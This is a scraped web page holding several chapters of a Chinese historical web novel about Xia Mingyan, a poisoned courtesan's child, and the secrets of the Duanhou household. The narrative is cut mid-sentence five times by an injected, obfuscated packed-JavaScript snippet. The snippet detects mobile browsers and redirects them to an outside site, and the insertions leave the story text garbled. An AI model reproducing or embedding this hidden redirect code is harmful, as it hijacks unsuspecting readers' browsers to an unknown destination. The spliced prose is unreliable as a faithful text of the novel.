吕冠瑛暗暗深吸了口气,她知道她这个要求有些过分,可她不得不承认这是那孩子得到良籍最好的机会。 虽说孩子的名分多是从父的,可这当中不包括罪籍和贱籍的孩子,因为这两者的孩子无论他们的父母哪一个是贱籍,他们都跟他们的父母一样是朝廷和官府的财产。 即便他们的生父是良籍,这从父也越不过从官府和从朝廷上去,良籍的生父难不成还能跟朝廷和官府抢财产去? 因此赎籍这种事儿除了花费钱财众多,每个地方每年都是名额限制的,不是有银子就行的。 第245章欲盖弥彰 当年吕大姑娘能够顺利脱籍,那是因为她是小时候被人拐走的,而刚好拐走她的人曾经在上一任元京府尹的眼皮子底下走脱过,为了遮掩这桩疏忽,才给了他们一个当年的名额。 现在轮到她的小外甥,即便这生父顺利将他认下,她也凑齐了赎籍所用的大笔资财,想要到府衙排上这个队,快了得三五年,慢了可能十几二十年,到时候孩子的一辈子可就耽误了。 早年的时候吕冠瑛早就想过这法子,她早就劝过父母和长姐,干脆找一个本身就德行有愧、无甚前途的良籍男子,给对方多点银子,让对方冒认是这孩子的生父,先把孩子的贱籍赎出来再说。 可是她父母胆子小,担心被揭穿导致全家流放,她阿姐想是还念着那人,死活不肯,这事也就耽误了下来。 现在机会就摆在眼前了,要是华靖和不是孩子的亲生父亲,她是不敢赖上华家的,可华家总有良籍的管事儿、伙计吧,能够充了这生父就好。 有华家作保,那人定是不敢说出实情的,在府衙那边也能尽快弄到赎籍的名额。 刚刚听那位乔姑娘说了认回去的外室子女的命运,她就觉着与其在高门大户里当那打狼坠尾的受罪,还不如做个小掌柜甚至是跑堂的儿子,横竖他的前程都要在吕家挣,不指望着人家,这样也没差多少。 这倒是个知足的人……夏明嫣对吕冠瑛的好感又多了些,便应了这件事: “若是到了那一步,我许这孩子一个良籍。不过……这孩子的生父许是真能找到的,孩子也会平安,你且信我。” “被拘在府衙的那些人五日后过堂,你且等着消息,最多五日,我把你的小外甥找回来。” “华侯夫人可是已经有线索了?我外甥人在哪儿?”吕冠瑛忍不住问道。 夏明嫣冷笑了一下,但这笑明显不是冲着吕冠瑛去的:“我都说了,我现在说这孩子的生父是谁,你必是不信的。这才想到设局,让他家里的人跳出来,好将他们一举擒获。” “你且等着,他们是一定会露头的。只是你得记着,这五日里,若是有位老夫人使人来找你,而她的儿子又刚好如你阿姐长姐生前所描述的那般温文尔雅、玉树临风的话,你可就要小心了。” 夏明嫣话便说到这儿了,出门时门外还聚着方才那些围观的人。 乔依心跟了上来,配合地大声道:“华侯夫人,我看那吕二姑娘被她阿姐的死迷了心智了,本身不是个不讲道理的人,你好好跟她说,她会明白的。” “这是自然,这不,已经都说明白了。这事儿或许是家里二弟给忘了,不记得外面还有这段旧情了,这孩子只要找的回来,我们是要认的。” “不过要说她阿姐的死跟二弟有关系,那可没有,这就是凑巧了,他要是有那个本事说得人家姑娘自尽,还会下毒,他还至于二十好几了既无功名,又无差事么?” 夏明嫣的声音里透着轻松的笑意,让人一听就觉得这两家是真的谈好了。 这吕冠瑛妥协了,最终还是选择成全孩子的前程了,这事儿八成就不追究了。 华家这边摆平了吕家,接着就是元京府那边了,可这种事若是没有实证,民不举官不究,又是些痴男怨女的俗事,谁还能一查到底?闲得慌么。 如此解决完全在意料之中,围观的人纵使有感叹世道不公的,可是想到这都是为了孩子着想,也就积口德不再说下去了。 乔依心却收到了夏明嫣的目光暗示,她很快就明白过来,边看着夏明嫣通过目光不断传达出来的意思边道: “可是这事儿也不能这么算了,既然这孩子是咱大侄子,咱也得给他亲娘求一个公道不是?这真凶还是得找啊,就算元京府不追究了,咱们自己也得找。” “这人坏得很,逼**命,还要嫁祸到别人头上,着实可恨,一定不能放过他!” “那是当然,我非把这个人揪出来不可!”夏明嫣信誓旦旦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489927|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地道。 原本在后面跟着的秋果,这时候已经钻到人群里去了,她这些日子跟着夏明嫣见识了不少,行事比原来周全了许多,这时候她已经去跟围观的人打成一片去了。 秋果跟他们说话的理由也很简单,就是这些人刚刚也帮着她们说话、劝吕冠瑛来着,她为了表示感谢,拿了一吊钱出来在附近现买了炒好的瓜子和饴糖,到处散了分给大家,就跟发喜糖似的。 “事情解决了,也称得上一件喜事,大家在这儿都站了好久了,都累了,给大家甜甜嘴,解解味儿。” 这瓜子还好,饴糖寻常人家和这些小商户也不是见天吃的,对他们来说都是好东西。 见这家人说话有商有量,还有东西吃,一点也不吝啬,而秋果又是个小姑娘,有些个大娘就跟她咬起了耳朵、说起了小话。 其中有个上了年纪的、一看就见多识广的大娘就低声说了:“姑娘,虽说这吕家不是坏人,老婆子我也乐得让那孩子找到亲爹、脱了贱籍,可是你们也是好人呐。” “你们二公子真是那孩子的亲爹?听说滴血认亲不准,那还是得看孩子生产时候吕大姑娘的脉案,算算日子,再看看怀上孩子的日子,你们家二公子是不是跟她在一起。” “这可是大事,万一弄错了,可就闹了大笑话了……” 这大娘的确是好心,当然算日子也不能完全排除可能,可要是说两人那时候一起喝过酒就认下了,这也的确太草率了,毕竟那时候吕大姑娘可是在那种地方的。 秋果毕竟是个姑娘家,听这些话多少有些尴尬,脸都羞红了,仿佛那孩子是她的一样。 她像是压低了声音,又像是怕这大娘年纪大了耳背听不清楚话一样,说着说着就提高了声音, “大娘,您说的这些,就算我们夫人年纪轻想不到,家里的老夫人来时也是叮嘱过的,可是事有轻重缓急,当下最紧要的是救我们二爷,其他的顾不了那么多了!” 第246章只惠及他一人的事 秋果努力地回想着府里那些小媳妇管事姑姑的样子,跟大娘唠家常: “孩子么,以后我们二爷还会有很多孩子,嫡出的啊,庶出的,总之会有很多,不过是多了一个孩子,没事的。” 这话说的一听就是也不大相信华靖和就是那孩子的生父,可是为了赶紧从元京府大牢里出来,人家就认了这孩子了。 大娘脸上一时间五味杂陈,想想这大户人家也真是不一样。 不过也对,这孩子将来定是不会承家业的,也就是花点儿银子养着,将来远远地分出去拉倒,人家可能真不在乎。 大娘讷讷地道:“可你家二公子毕竟是华侯的兄弟,这……你们府上真咽得下这口气?” “咽不下,怎么会咽得下去呢?大娘,这叫忍一时之气,不是一直忍下去。等我们家二爷回府了,我们再去查,一定替吕大姑娘洗脱冤屈!” 也是要洗刷华家和华靖和被陷害的耻辱! 大娘和周围听到她们说话的人立刻就明白了,等秋果跟着马车走了,这些人很快就议论了起来。 “都听见了吧?人家这是权宜之计,之后还要把脸面找回来的!” “那……万一这个华二公子不是真凶,也不是吕家小子的亲爹,他们把人给找到了,那亲爹才是真凶,立刻就得给抓紧去,吕家小子还能脱籍不?” “这倒还真是这么回事,可又能怎么样的?吕家小子要真不是华家的孩子,人也不会咽下这口气。” 有人哀叹,有人兴奋,不管是哪一种人都在期待这件事的结果,看看会不会找到真凶,再看看吕家那孩子命运如何。 这种小商户**的地方除了住在这儿的人,还有往来找东家的掌柜、伙计和脚夫,不到一天的工夫,这些话就传了出去,传得满城都是。 谁都知道华家其实没死心,认下这烂账只是暂时的,人家是打算过了这一关之后再继续追查的。 夏明嫣先把乔依心送回了乔家,临别交待了她带着乔家派去的那些人,盯好吕宅,有空了就进去跟吕冠瑛说说话,不要让她的立场左右摇摆。 乔依心纵使信任夏明嫣,也还是有些不确定:“你确定背后的人真会上门吗?万一他们只是想冤枉华家一时,根本不在乎以后呢?” “的确有这样的可能,所以我得再去刺激他们一下。”夏明嫣也不能把主动权都交到对方手中。 夏明嫣先回了钩翊侯府,华靖离已经回来了,二人彼此通报了一下各自那边的情况。 华靖离这边也有进展,新请来的仵作重新查验了吕大姑娘的失身,得出的结论是她的确是**而亡的,这毒也的确是蛇毒,却并非因为被蛇咬伤而**。 那被蛇咬伤的痕迹虽然也是真的,毒却不致命,真正致命的蛇毒应该是用某种细小的暗器进入她体内的,就像夏明嫣之前猜测的一样,只是还没找到这暗器到底在哪儿。 “这就不好说了,如果用的是牛毛针之类的暗器,这根针在心脏上、血管里都有可能。我今日跟吕二姑娘谈的不错,但因为不知道你这边的结果,还没有跟她提要找到暗器的事。” 夏明嫣叹了口气,死者为大,如果有可能,定是不会做出毁人仪容的事的。 可若是不这样做,逝者的亡灵又不能得到安息,就是华靖和也不能说就彻底清白了, “我明日就跟依心说,请她问问吕二姑娘的意思,要是不行,这也得尊重人家的意见。” 要是不能仔细查验尸身,那就只能指望背后之人全盘托出了,可是人都是想让身上的罪能少一桩是一桩的,谁又会承认这种没能被人查证的大罪呢? 华靖离扶着夏明嫣坐下,先把饭食给她安排上,让她边吃边听他的安排:“端侯府那边我已经让人去盯着了,何夫人身边的嬷嬷今早去过一趟城外的一莲观上香。” “那里是个女观,派去的人让自家的女儿扮作香客进去看了,没看见有男童藏匿其中,但是里面有没有密室之类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491892|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方还来不及查看。” 一莲观里好些寄身的女道都是出了家的高门贵女和守了寡的官家夫人,派去的人不好冒然搜查。 而且这种地方为了有些人能出入方便,都是有特定的密道和密室的,还往往与后山相连,万一这密室设在山中,可就不好找了。 夏明嫣稍微一想就想到了邓澜身上,她沉吟着道:“或许我可以去找一个人,她也许知道,这个人以后也会很有用……不过……就是我之前跟你说的那件事儿,我去做了,你该不会生气吧?” “什么事儿?我怎么不记得了。”一时间华靖离是真没想到。 夏明嫣笑着微微叹息道:“让你纳妾的事儿,我说过要接两个人进来,这其中一个我选定了,近日就想让她进来。” 她低着头,心里不受控制地有些不愿意,“不过这个人可得先跟你说好了,除非她自己愿意了,不然你可不能真把当妾室了。她就是借个身份进来,将来有了合适的时机,再出去就是了。” “要不然就这样,你先允了她进门避避,将来你要是看上别人家的好姑娘了,只要不是打算欺男霸女的,无论是谁家的,我都可以帮你聘一个进来,就当是还上这次的。” “还有另一个,下个月应是也要到了的,你要是觉得不公平,也按这次的来,我再补一个给你。你这身子已经被我调理好了,你这辈子保准子嗣充盈……” 纳一个美貌还知书达礼的良家女进来,却为了用这女子给自己做事,让他看得见吃不着,是该给点补偿的。 要说夏明嫣拿自己补偿给他,她是真不知道该如何补偿的,她为他做的这些,何尝不是也是为了她自己? 夏明嫣没觉得有什么事儿是她做了,她享受不到,却惠及他的…… 唯一的一件就是子嗣,她的身子因着那几位女师的责打伤了穴位和筋脉,经过这段日子的调养,至少还要三年才可以产育。要是这三年里他还想有子嗣,就只能是跟别人有的。 第247章要接邓澜进府 这些日子以来,夏明嫣说没对华靖离心动是假的,可在这段关系里,是他庇护她更多,她也该为他做点什么。 三年的时间,若是这中间有个变故,他们失败了,他上一世的命运提前到来,他又是一个孩子都没留下来,不仅对他自己不公平,就是整个钩翊侯府和华家也都会因为他没有子嗣而再一次陷入混乱。 就像上一世,华靖和纨绔了半世,妻妾成群,却没能有一个孩子长成的。到了华靖离死讯传来,华叶峰悲伤过度倒下了,在过世之前嘱咐由华靖和继承华家。 可是因为华靖和身上的东西实在没什么好说道的,宫里连拖延袭爵的招数都没用,直接收回了钩翊侯的爵位,只赏了华靖和一个闲散小官去当,再赏银五千两。 董氏当时已经过世了,华叶峰、华靖离新丧,府里一时间群龙无首、乱成了一锅粥,这五千两银子连同家财很快就能丢的丢、能赔的赔,最后连同其他家财被族人瓜分了大半,原本威名赫赫的钩翊侯府就此消散。 这一世,就算华靖离还会避不开别的阴谋诡计,死在别的事情上,至少他应该有一个能袭爵的子嗣,并且将他教养得至少不能让宫里落了口实。 将来这个孩子长大了,能将钩翊侯府传下去。圣上和朝廷虽然一步步地在缩减这些个军侯府,可只要不让他抓住把柄,最贵还是有法子的。 华靖离看着夏明嫣可怜巴巴生怕他不答应的样子,不禁皱紧了眉头,他是真不想纳妾。 上一世之所以有六房妾室,那都是董氏给他纳的,而且董氏这么做的目的初时的确是为了给他繁衍子嗣,可是从第三个妾室开始,那些个女人不是来找他的,是被董氏弄来专门跟夏明月对着干的! 因为他的伤好到能够行走、骑马之后,他就常在别院住了,后来还回过北疆住过三年,再之后就去了南疆,他在府里的日子屈指可数,跟那些个女人真没什么来往。 有一回他倒是在府里遇到一个,那个姑娘似乎是他的第五房妾室,据说刚跟夏明月吵了一架,还动了手,头发和发饰都扯乱了。 那姑娘要回房去,在穿过园子的必经之路的院子里遇到了他,人家初时都没看见他,而是在跟自己的侍女说她又赢了夏明月一回,还说只要夏明月没有其他人手帮忙,下一回夏明月再找事儿,她就让夏明月尝尝她拳头的厉害! 华靖离就这么的跟这位“妾室”撞上了,这人竟然当着他的面整好了头发,昂首阔步地走到他面前,问他怎么就娶了夏明月这种人。 华靖离自认经过治伤和之前提议纳妾这两件事之后,董氏既然已经把选妾的大权交到了夏明嫣手里,就不会反悔了,因此他不会有那六个妾室了。 可是……他还要有两个新的妾室,这算怎么回事儿?他是一个都不想要啊。 华靖离很是唏嘘地道:“能不能不纳?你想让她有个容身之所,咱们想想别的法子,或是给她寻个跟咱们府上有往来的好婆家也成。” “你要问她们李玦和端侯府的事,她们不说,咱们就以利诱之,真的到了非得纳她们进门的地步了吗?你得为我想想,上辈子六个妾,这辈子两个妾,就不能让我亲近点儿?” 夏明嫣也不想,可是她要堵董氏和华家宗族的嘴,也实在想不到别的法子了: “后面的那个或许还能想想别的法子,可是眼前的这个却不行。我也不瞒你,这个人是……邓澜。” 这话着实难以启齿,以至于夏明嫣是紧闭着双眼才说出这个名字的。 华靖离听着这名字耳熟得很,这个人他上一世一定认识,说不定还见过:“她是……好熟悉,你说她很熟悉端侯府的事,难不成她跟那个何雨萍一样,都是何夫人的外甥女、李玦的表妹。” 夏明嫣继续紧闭着眼,硬是憋出了几个字:“上辈子,她是李玦的正妻,我曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493998|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经的主母……她很好的,真的很好,就是知道的多了,不肯说,心事太重。” 邓澜身子从小就不好,进门之后也一直心事重重的,但因为她善断善谋,为人宽和、公正,最能平衡李玦内宅的各种势力,所以李玦纵使跟她在夫妻关系上不怎么亲密,却一直尊着她、敬着她。 不过邓澜的身子有点太差了,没过两年,就连出屋走走都难了,那时候夏明嫣还没真正跟她成为莫逆之交,心里还在好奇,何夫人怎么会让邓澜替了她做李玦的正室,要替也该是何雨萍这样的更合适。 谁知道邓澜硬是在那个位置上撑了八年,也是到了第四个年头上她们的真正成为了彼此守望相助的好友,邓澜才对她说了许多端侯府的秘密的。 那个时候她便在想,邓澜是如何知道这些的,她家里衰落得更早,过得连吕家都不如,家里只有一个酒鬼老父,而且这个老父屡次得到端侯府生事,甚至曾经直接跑到何夫人面前索要钱财,就这样端侯府都没有断了跟她家里的往来。 邓澜亡于病榻时还背着一身没说出口的秘密,她只说这些东西她要带到棺材里去了,而也是在这一年早上几个月的时候她的老父亲也过世了。 邓澜走后的第二年,端侯府的银钱家底儿突然暴涨,这个暴涨的程度不是靠邓澜和夏明嫣精心打理庶务、做生意能涨到的程度,是真的来了一笔天大的横财,据说是何家重新做了海贸生意,挣回来的。 这笔横财后来除了拿去重建李家军的部分,其余的也被交给了夏明也和何雨萍打理。 夏明嫣怀疑过那些横财的来历,也找人暗中查访过,证明那些财物里很多都的确是通过海贸从西边诸国来的,这与李玦的说辞相符,她没查到更多的东西,这件事只能不了了之。 但其实夏明嫣一直怀疑这笔横财跟邓澜有关,这一世如果能把邓澜接近府里,这一切的谜团就有可能解开了。 第248章主人和奴仆 夏明嫣没说这么细,只是道:“上辈子我过得疲于奔命,很多事情根本来不及多想,事儿到了眼前了,能应对过去就不错了。” “我回来这一个多月以来,我忽然想透了一件事。我说这些端侯府里发生的事,你不会生气吧?” 说这些事儿就一定会涉及到李玦,甚至涉及到她上辈子跟李玦的关系。 其实她倒是无所谓了,上辈子她跟李玦之间大部分时间是夫主和妾的关系,说难听点,李玦是主,她是仆从,最多就是个身份高一点的仆从,她服侍他也好,帮他出谋划策、辛苦谋划都好,他们不像夫妻。 更何况夫妻之间纵使不能爱得感天动地,也总该有些亲情上的情感交融,可她并不觉得他们之间有这些。 就算她最好被扶正了,对于她来说,她不觉得自己做了侯夫人或是王妃,她只觉得自己终于做那府上的大管家了,终于可以给他带来更大的利益了,这样她就终于不会被轻易地舍弃、牺牲掉了吧。 反倒是华靖离,虽然他自己说他跟李玦的关系并不像表面那样兄弟之义重如山,只是出于两家关系和朝堂上的一些考虑才维持着从前的关系的。 可是她能感觉到,他后面一直没有跟李玦撕破脸还有一重原因,就是他内心里原本属于华靖和这个弟弟的位置是真的被李玦占据了,因此到了最后,可能他才是那个被伤得最重的人。 华靖离看了看她,目光闪烁了一下:“我当然生气,你跟他之间有过大半辈子,我跟你之间才只有一个多月,能不气么?” “你该不会是要跟我回忆你跟他之间是怎么相处的吧?还是你被他的妻妾欺负了?这个倒是可以说一说,我听了还能乐呵乐呵。” 他在静心居里看到夏明嫣的第一眼,知道嫁进来的是她的时候,他就决定了,这辈子就只有她这么一个妻子,一个女人。 不管是董氏、华叶峰还是别的人出于什么目的往他这儿塞女人,就算是塞进来了,他也绝不碰她们。 后宅的这些女人,要是夫主对她们本来就没有爱意,又没有宠,更没有子嗣,那就都是绣花枕头、纸老虎,也就不会有什么妻妾之争了。 她这辈子没什么机会再跟那些女人干这种摩拳擦掌的事儿了,他正好听听她上辈子的经历,也算开了眼了。 夏明嫣瞪了他一眼:“你还真想看戏?我说正经的呢,我说的是邓澜,我最近就在想,李玦那时是有几个妾室的,这些个妾室没有一个是真正只靠容貌、性情获得他的宠爱或看重的。” “严格来说,这些个人每个对他和端侯府来说都有用。我么,为他运筹帷幄,做药材生意,利用杨家的关系在南疆为了打下基础,还说服了张老将军父子支持他。” “何雨萍,就是前几天给他做了贵妾的那个,家里有镖局,手下三教九流的人不少,府上需要跑腿儿的事儿和一些见不得光的脏事儿都她家在做。” “这之后还有李氏、王氏、乔氏要么是在银钱上能够出力的,要么家里就是粮商、盐商,也都是他要重建李家军时用得到的。唯独是邓澜,她看起来并没有太特殊的用处……” 邓澜并不是没有用,只是她的用处不像她们那样单拎出来都是能准确地说出在哪儿有用的。 邓澜这个人温柔大气,是有大智慧的,这些并非来自于她的酒鬼父亲和早逝的母亲,而是来自将她抚养长大的祖父、祖母。 邓澜十二岁的时候祖父母就相继过世了,守丧用了三年,后面她身子更加不好了,又养了三年多,到了快十九岁的时候才嫁给了李玦。 而且要不是因为当时夏明嫣的身世被污蔑,端侯府计划着以退婚回敬夏家的“羞辱”,邓澜被何夫人拎出来临时顶上,这婚事恐怕还要再拖上两三年。 邓澜进门之后就没想着争宠,她最常见的人除了夏明嫣便是她的婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493999|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母何夫人,两个人也不知道在说什么,时常一说就能说个大半日的。 她是一个颇会权衡利弊、平衡各方势力的人,彻底地让李玦后宅的这些妾室、通房发挥了她们本分之外的作用。 可是她的这份才能也是在进门之后才渐渐地被发掘和磨练出来的,进门之前谁都想不到她会有这样的本事,就连何夫人发现她的才能时也颇为惊讶。 况且她的身子是真弱,生育上因为先天的缺陷,名医们束手无策,后来夏明嫣跟她关系好了之后,还偷着请了一位杨家族亲里的长辈给她瞧过,亦是无能为力。 何夫人不知她有此才干,她还是个一眼看去身子就不康健的人,容貌也并不出挑,还有一个一身麻烦的酒鬼父亲……何夫人是怎么看上她还让她做了李玦的正妻的? 夏明嫣说了邓澜的这些情况,还说了她们联手时发生的一些事,继续道, “我实在想不出这是为什么,我能感受得到,不要说她刚进门的时候,就是到了最后,何夫人也并没有真心喜欢过这个儿媳妇,她对邓澜的态度很奇怪,像是有所顾忌的样子。” “邓澜对她……大多数时候是恭敬的,可这种恭敬更像是管家给主母的,可她毕竟也是何夫人的外甥女,还有一些时候,她很有底气,她似乎料定了何夫人会退让。” “我问她为何那般笃定,她又不说,只推说何夫人到底是她姨母,还是疼她的。我想来想去,只有一个可能就是她手上有什么让何夫人顾忌的东西。” 以邓澜的年纪来看,她自己是不大可能握着何夫人或是端侯府的把柄的,可是邓家可以。 这个把柄可能不是什么能看得见摸得着的东西,毕竟以邓家穷困的程度,真有什么早就被人发现了。 那就只能是一个无形的东西,可能是邓澜的祖父母留给她的,比如说一个秘密,或是什么能牵制端侯府和何家的人脉关系。 第249章隐藏的底气 夏明嫣早就想到了这些,可是她还有想不通的地方:“我觉得奇怪的是,要是她家里真有这样的秘密,她家都成那样了,为什么不拿这个秘密去换取什么,或是她为什么不拿这个秘密要挟何夫人?” “如果说,她跟李玦的婚事就是用这个秘密要挟来的,她为什么不要更多?端侯府那时候是没什么钱财的,可是养活邓澜的父亲,让他家里过上富贵的生活却是没什么问题的。” “关键是邓澜的父亲到府上闹过很多次,有一次我无意中听到,他说什么整个端侯府都要指望他,可是又没有说下去……我就奇怪了,他都这么说了,为什么何夫人什么都不给他。” 一个握着别人秘密的人,也不是不想给家里谋些好处,为什么会不用这个秘密? 一个看起来已经因为长年酗酒而丧失理智的人,几次三番地上门,都没能拿到他想要的,从他的角度来说,这一切没有激发他铤而走险的决心。 从何夫人的角度来说,也没有把这个人怎么样。要是换了别人来**儿,何夫人早就把人打出去了,要是碰上个这般三番五次**儿还经常丧失理智的人,恐怕早就暗中使手段除掉了。 难不成就是因为邓澜的父亲是端侯府的亲家,还有他的亡妻是何夫人自己的姐妹么?这不太能说得通。 何夫人这人骨子里跟李玦是一样的唯利是图,对没用的人一向弃之如敝履,她对何家人好,那是因为何家的确有用,能帮端侯府处理那些不方便交待其他人去办的脏事儿、累活儿。 邓澜的父亲可是一点儿事儿都没帮端侯府干过的,何夫人凭什么容着他?要说不好下手,那就更说不通了,一个酒鬼只要有人推上一把,跌进护城河里,就了结了。 华靖离想了想,反握住她的手,看着她手掌的纹路道:“是个爱想事儿的人,你就是想得太复杂了,要我说这个事儿你得拆开了看。” “我来问你,如果你握着一个把柄想要要挟一个人,这个人一而再、再而三地不受你的要挟,你会不会跟他翻脸?如果你没有跟他翻脸,是因为什么?” “当然会,既然他们这么有骨气,不受要挟,那我当然要让他们见识见识我的厉害了,大不了一拍两散,鱼死网破。” 可这为什么没翻脸……夏明嫣沉吟着道,“要么他们手上也握着我的把柄,我担心他们也对我做同样的事,所以我不敢跟他们闹翻。” “要么就是……我手上的这个把柄有问题,我不敢拿出来。就比如说这件事也牵连到了我,我一说出来,我也完了。再或者这个把柄就拿不出来,就好像……” “我知道有这么一件事,可是我没有确切的证据,或是有这么一个东西,但这东西并不在我手上,还很难拿到。” 这不是挺明白的么?华靖离也帮她分析:“何夫人手上到底有没有邓澜父亲的把柄,咱们先放下,端侯府虽然不如其他的军侯府,但是以他们的实力,还有从前老端侯留下的部旧,让他无声无息地消失还是办得到的。” “为什么何夫人和李玦不这么做,他又为什么不害怕他们会这么做?你再从这个角度想想。” 夏明嫣反复想着何夫人的性子,忽然眼前都清明了:“何夫人不下手,是因为邓澜的父亲身上还有什么大好处,这个好处只有通过他才能得到。” “他要是**,这个好处就拿不到了。他自己也清楚何夫人和李玦是这样的人,只要他们对他身上的这个好处不死心,就不会真的把他怎么样,所以他才有恃无恐。” “这个好处应该是个什么东西,但又是一个拿不到的东西,他之所以没能拿住何夫人和李玦,就是因为这个东西他知道,但是拿不到。” 可是李玦那时候最缺的是银子,是重建李家军的银子。 如果邓澜父亲身上的好处是这么一大笔银子,或是一处宝藏,他自己都那般穷困潦倒了,他自己就没试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504020|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着去找过? 而且这么大一笔财富,总要有个出处吧?她在端侯府那么多年,可从来没听说过邓澜祖上是什么巨富之家。 夏明嫣到底不了解过去这几家的密辛,华靖离却不同,他了解那些往事,听了夏明嫣这番话之后,茅塞顿开,他眼中一下子有了感慨和兴奋之色: “当年老端侯之所以被圣上所恶,就是因为他挪用了南疆府库的军饷和存银,自己建了船队出海贩货,之后遇上了风浪和海匪,所有要运回来的货物和已经赚取了银钱,都没能运回大恒,就连船上的人,也只回来了几个。” “那些人说货物和钱财大部分都沉入了海底,还有一小部分被海匪劫走了。圣上派了人去,到出事地点附近的岛上和周边的小国都查访过,都说在那个时间的确发生过一场大风浪,那附近也常有海匪出没,但究竟是那些海匪,还有他们的船是怎样的,他们就不大清楚了。” “后来派去的人又找到船队起航的地方,找到了码头的主人和帮忙干活的力夫,确认了船队的确是满载起航的。事情到了这一步,就再没有其他线索了。” 大恒有几处大的存放粮饷和库银的府库,元京的自然是最大的,可是为了应对南北疆的战事,在这两处也设了大型府库。 按当时的情况来看,老端侯挪用的粮饷和库银少说也占了大恒府库总存量的四分之一,这还是保守了算的,说不定三分之一还不止。 老端侯是看到了海贸中的暴利才铤而走险的,他瞒住了圣上和朝廷,而跟他一起做下这件事的,从之前夏明嫣通过霞姑姑、沈小娘和楚氏的反应掌握的信息来看,跟他联手的还有楚家、陆家和夏家。 没想到天有不测风云,船队居然遇上了大风浪,发生了海难,一船的东西就那么没了,什么都没剩下。 朝廷因此损失惨重,怎能不派人去彻查,可是茫茫大海,几个大浪头就能湮灭一切,他们还能查到什么。 第240章缕清关系 到头来查到的很多东西都是模棱两可的,比方说那个地方经常有风浪和海匪,可是具体哪一天有没有,谁也说不好。 再比方说,即便有人看到附近有海匪出没了,但究竟是哪一支也说不清楚,还有那些船只的残骸更是没有了踪影。 华靖离叹了口气道:“大恒府库因此损失惨重,那一年西南又刚好闹了大水,朝廷急需银两调度,圣上震怒。只是这件事原本跟圣上也有些关系,因为当时南疆海上战事平息之前,圣上曾经下过一道明旨。” “旨意上说,朝廷府库空虚,难以调度南疆府库,允许老端侯再不损害百姓利益的前提下设法自筹。这里面其实是默许了端侯府和南疆的府军做些生意的,那么做生意需要本钱,动用南疆府库当时已有的部分库银也是不可避免的。” “可这些话毕竟没有写在旨意上,究竟可以暂时挪用多少、行事尺度如何,这些都是需要老端侯自己把握的,谁知道他的胆子会这么大,挪用了整座南疆府库。这还不止,当时他还管许多人借了银子,这些人里很多都是南疆本地的氏族。” 这样算下来,不仅南疆府库的存银和粮饷没了,等于朝廷还倒欠了那些氏族几百万两银子。 那些氏族世居南疆,树大根深,南疆民风悍勇,还有常王在那边,朝廷还要靠那些氏族辖制常王,这笔银子不仅一定要还,还得尽快还上,这无疑让当时已经很紧张了的朝廷,又紧张了一把。 他继续道,“这些我也都是听祖父提起的,很多细节了解得并不真切,有些事儿反而是在现在才看清楚的……因为夏家把夏明月嫁到了端侯府。” 这两世以来,夏明嫣在夏家都不受宠,她上一世嫁到端侯府,可以说是出于婚约和名声受损的考虑,看不真切。 可是这一世不一样了,夏明月是夏家最受宠的女儿,夏庸是楚霆孝一手扶植起来的女婿,夏明月背后还是有楚家支持的,这种情况下,夏明月还是嫁给了李玦。 而且何夫人和李玦私自做主瞒着夏明月把何雨萍抬了进去,夏家居然连吭都没吭一声,还劝夏明月忍让,这已经能说明很多事了。 